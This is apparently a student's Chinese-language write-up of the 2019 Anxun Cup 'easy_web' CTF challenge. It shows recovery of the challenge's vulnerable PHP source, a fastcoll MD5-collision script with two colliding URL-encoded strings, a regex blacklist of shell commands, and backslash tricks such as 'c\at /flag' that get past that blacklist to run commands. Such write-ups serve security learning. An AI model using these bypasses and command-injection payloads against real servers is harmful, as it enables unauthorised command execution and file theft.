技术内容 / 本科的一些学习笔记和wp / 安洵杯2019easy_web
安洵杯2019easy_web
相信img参数怎么来的就不用多说了
就img里的base64解密两次之后是
3535352e706e67,16进制转字符串就是555.png
然后一个php页面的主页一般就是index.php
给它反着编码回去得到TmprMlJUWTBOalUzT0RKRk56QTJPRGN3
(这里糊涂了,试了好几次,原来是要base64两次才行)
琢磨了一会发现有的网站十六进制字母默认小写,但是全大写才能得到想要的,而且中间不能有空格,就很坑人
塞进img参数里就能得到 (bushi
因为文本格式无法解析成图片所以图片裂了要看源码
解密这串base64得到源码
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !<mark> (string)$_POST['b'] && md5($_POST['a']) </mark>= md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
于是来到了你迷迷糊糊的md5环节
代码里对下一步有用的部分摘出来放到下面
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !<mark> (string)$_POST['b'] && md5($_POST['a']) </mark>= md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
一些过滤,和一个md5强比较,过了md5检测就能执行cmd参数的内容
MD5
这里限制了string(字符串)类型,所以不能用数组绕过,考虑碰撞
我搜的wp里面给到一种很厉害的操作,说实话我也第一次见
fastcoll的项目:http://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5.exe.zip
fastcoll的源码:http://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5_source.zip
使用fastcoll生成字符串MD5碰撞
打CTF的时候会遇到诸如$a!=$b&&md5($a)===md5($b)的题。
这就要求我们找到这样的两个字符串a和b,内容不同,但md5值相同。这就涉及到md5的碰撞。
我们使用fastcoll来快速生成这种碰撞。
1.建立一个a.txt,内容如下:
2.将这个文件拖到fastcoll_v1.0.0.5.exe上,等于使用fastcoll打开它。
3.fastcoll会自动生成两个文件:
这两个文件内容不同,但是md5值是相同的。
然后我们写一个php脚本根据生成的文件生成碰撞的字符串:
<?php
function readmyfile($path){
$fh = fopen($path, "rb");
$data = fread($fh, filesize($path));
fclose($fh);
return $data;
}
$a = urlencode(readmyfile("E:/a_msg1.txt"));
$b = urlencode(readmyfile("E:/a_msg2.txt"));
if(md5((string)urldecode($a))===md5((string)urldecode($b))){
echo $a;
}
if(urldecode($a)!=urldecode($b)){
echo $b;
}
这里生成的a和b是已经经过url编码的:
fuck%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00O%EC%28%FE%D4%C2%22%FA%40Lx%CFC%3CqMx%975%EA%0F%B7Tq%28.%7F%26%D7%8A2%F8%EC%08%BC%E9%60j%0B%DA%CF%05%40q%C2%DDa7%D0%40%C6i%97%10l%84%9D%BA%7FK%7E%FEq%A6%3F%E4%5Dl%06%7F%7F%0A%05%F6%DB%EDQ%ED%28%3D%CEhjj%15%FC%A0X%C1%1B%F5%CC%CD0%5D%A2%F5P%17%03.%8Crb%93%83%C0%EF%C2AF%88%DC%97%A0%85%CF%DA%A2G%F6%D7%0Cw%0E%A3%94%9B
fuck%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00O%EC%28%FE%D4%C2%22%FA%40Lx%CFC%3CqMx%975j%0F%B7Tq%28.%7F%26%D7%8A2%F8%EC%08%BC%E9%60j%0B%DA%CF%05%40q%C2%5Db7%D0%40%C6i%97%10l%84%9D%BA%7F%CB%7E%FEq%A6%3F%E4%5Dl%06%7F%7F%0A%05%F6%DB%EDQ%ED%28%3D%CEhj%EA%15%FC%A0X%C1%1B%F5%CC%CD0%5D%A2%F5P%17%03.%8Crb%93%83%C0%EF%C2%C1E%88%DC%97%A0%85%CF%DA%A2G%F6%D7%0C%F7%0E%A3%94%9B
根据以上方法可以构建任意二进制文件,进而生成不同内容但是MD5值相等的字符串。
附脚本
<?php
function readmyfile($path){
$fh = fopen($path, "rb");
$data = fread($fh, filesize($path));
fclose($fh);
return $data;
}
$a = urlencode(readmyfile("E:/a_msg1.txt"));
$b = urlencode(readmyfile("E:/a_msg2.txt"));
if(md5((string)urldecode($a))===md5((string)urldecode($b))){
echo $a;
}
if(urldecode($a)!=urldecode($b)){
echo $b;
}
用url编码是因为存在不可见字符
然后用hackbar或者burpsuite传post参数进去, 为了不出现一大串base64加密的字符可以先把img参数去掉
(这个截图里我先读的目录,没有直接读flag)
这里要注意红框里cmd的参数构造
接下来有个前面例会讲过的知识点
知识点
**1.php反引号执行:**php中用反引号扩起的变量echo出来会作为系统命令执行,即”将输出作为输入执行“
然后另一个知识点
**2.linux命令中可以加\**而不影响输出,所以甚至可以ca\t /fl\ag
执行出来的效果跟cat /flag是完全一样的
所以可以用c\at%20/flag来读flag
cat的替代
另外,题目中正则匹配掉的
tac|nl|more|less|head|cat|od|grep都是可以替代cat使用来读取flag的
这里其实还遗漏了sort,用sort /flag也可以代替cat /flag